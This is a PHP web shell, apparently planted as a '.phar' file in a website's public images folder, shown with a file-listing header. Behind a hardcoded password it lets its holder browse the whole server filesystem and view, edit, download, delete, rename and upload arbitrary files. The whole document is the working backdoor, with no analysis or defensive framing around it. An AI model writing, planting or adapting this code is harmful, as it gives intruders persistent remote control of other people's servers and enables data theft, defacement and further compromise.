• File: 0ed61106ce6be3bdb0ffb695dfa93a41blackie.phar
  • Full Path: /home/ahrcc/public_html/images/projects/0ed61106ce6be3bdb0ffb695dfa93a41blackie.phar
  • File size: 6.86 KB
  • MIME-type: text/html
  • Charset: utf-8

<?php
session_start();

$username = "admin"; // not used anymore
$password = "password123";

// ---- LOGIN CHECK (no headers sent yet) ----
if (!isset($_SESSION['authenticated'])) {
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['password'] === $password) {
        session_regenerate_id(true);
        $_SESSION['authenticated'] = true;
        header("Location: " . $_SERVER['PHP_SELF']);
        exit;
    } else {
        ?>
        <style>
            body {
                background-color: #0d0d0d;
                color: #00ff88;
                font-family: 'Courier New', monospace;
                display: flex;
                flex-direction: column;
                align-items: center;
                justify-content: start;
                height: 100vh;
                padding-top: 80px;
            }
            form {
                background: #111;
                border: 1px solid #00ff88;
                padding: 30px;
                border-radius: 8px;
                text-align: center;
            }
            input[type="password"], button {
                margin-top: 10px;
                background-color: #000;
                color: #00ff88;
                border: 1px solid #00ff88;
                border-radius: 4px;
                padding: 10px;
                font-family: monospace;
                width: 200px;
            }
            h2 {
                margin-bottom: 20px;
            }
        </style>
        <form method="post">
            <h2>Enter Password</h2>
            <input type="password" name="password" placeholder="********"><br>
            <button type="submit">Access</button>
        </form>
        <?php
        exit;
    }
}
?>
<!-- MAIN INTERFACE -->
<style>
    body {
        background-color: #0d0d0d;
        color: #00ff88;
        font-family: 'Courier New', monospace;
        padding: 20px;
    }
    a {
        color: #00ff88;
        text-decoration: none;
    }
    a:hover {
        text-decoration: underline;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin: 8px 0;
        padding: 8px;
        background-color: #111;
        border-left: 4px solid #00ff88;
        border-radius: 5px;
    }
    input[type="file"], textarea, button {
        background-color: #000;
        color: #00ff88;
        border: 1px solid #00ff88;
        border-radius: 4px;
        padding: 8px;
    }
    button {
        cursor: pointer;
    }
    .action-link {
        margin-left: 10px;
        font-weight: bold;
    }
    .edit-link { color: #00e676; }
    .delete-link { color: #ff1744; }
</style>
<script>
function renameFile(filePath, currentName) {
    const newName = prompt("Rename to:", currentName);
    if (newName && newName !== currentName) {
        window.location.href = "?action=rename&file=" + encodeURIComponent(filePath) + "&new_name=" + encodeURIComponent(newName);
    }
}
</script>
<?php
$currentDir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
$currentDir = realpath($currentDir);

$action = $_GET['action'] ?? '';
$file = $_GET['file'] ?? '';
if ($file) $file = realpath($file);

if ($action === 'download' && $file && file_exists($file)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . basename($file) . '"');
    header('Content-Length: ' . filesize($file));
    readfile($file);
    exit;
}

if ($action === 'view' && $file && file_exists($file)) {
    echo "<h3>Viewing: " . htmlspecialchars($file) . "</h3>";
    echo "<pre>" . htmlspecialchars(file_get_contents($file)) . "</pre>";
    echo "<a href='?dir=" . urlencode(dirname($file)) . "'>Back</a>";
    exit;
}

if ($action === 'edit' && $file && file_exists($file)) {
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        file_put_contents($file, $_POST['content']);
        echo "Saved successfully.<br>";
    }
    echo "<h3>Editing: " . htmlspecialchars($file) . "</h3>";
    echo "<form method='post'>";
    echo "<textarea name='content' rows='20' cols='100'>" . htmlspecialchars(file_get_contents($file)) . "</textarea><br>";
    echo "<button type='submit'>Save</button>";
    echo "</form>";
    echo "<a href='?dir=" . urlencode(dirname($file)) . "'>Back</a>";
    exit;
}

if ($action === 'delete' && $file && file_exists($file)) {
    echo unlink($file) ? "Deleted." : "Failed.";
}

if ($action === 'rename' && $file && file_exists($file) && isset($_GET['new_name'])) {
    $dir = dirname($file);
    $newName = basename($_GET['new_name']);
    $newPath = $dir . DIRECTORY_SEPARATOR . $newName;

    if (!preg_match('/^[\w\-. ]+$/', $newName)) {
        echo "Invalid filename.";
    } elseif (file_exists($newPath)) {
        echo "A file with that name already exists.";
    } elseif (rename($file, $newPath)) {
        echo "File renamed successfully.<br><a href='?dir=" . urlencode($dir) . "'>Back</a>";
        exit;
    } else {
        echo "Rename failed.<br>";
    }
}

if (!empty($_FILES['upload'])) {
    $target = $currentDir . DIRECTORY_SEPARATOR . basename($_FILES['upload']['name']);
    echo move_uploaded_file($_FILES['upload']['tmp_name'], $target)
        ? "Uploaded successfully."
        : "Upload failed.";
}

echo "<h2>Index of " . htmlspecialchars($currentDir) . "</h2>";
echo "<form method='post' enctype='multipart/form-data'>
        <input type='file' name='upload'>
        <button type='submit'>Upload</button>
      </form><br>";

echo "<ul>";
$parent = dirname($currentDir);
if ($parent && $parent !== $currentDir) {
    echo "<li><a href='?dir=" . urlencode($parent) . "'>[ Parent Directory ]</a></li>";
}

foreach (scandir($currentDir) as $item) {
    if ($item === '.' || $item === '..') continue;

    $fullPath = $currentDir . DIRECTORY_SEPARATOR . $item;
    $encoded = urlencode($fullPath);
    $basename = htmlspecialchars($item);

    if (is_dir($fullPath)) {
        echo "<li><a href='?dir=$encoded'>[DIR] $basename/</a></li>";
    } else {
        echo "<li><span onclick='renameFile(\"$fullPath\", \"$basename\")' style='cursor:pointer;' title='Click to rename'>$basename</span>";
        echo " | <a class='action-link' href='?action=view&file=$encoded'>View</a>";
        echo " | <a class='action-link edit-link' href='?action=edit&file=$encoded'>Edit</a>";
        echo " | <a class='action-link' href='?action=download&file=$encoded'>Download</a>";
        echo " | <a class='action-link delete-link' href='?action=delete&file=$encoded' onclick='return confirm(\"Delete this file?\");'>Delete</a>";
        echo "</li>";
    }
}
echo "</ul>";

echo "<br><a href='?logout=1'>Logout</a>";

if (isset($_GET['logout'])) {
    session_destroy();
    header("Location: " . $_SERVER['PHP_SELF']);
}
?>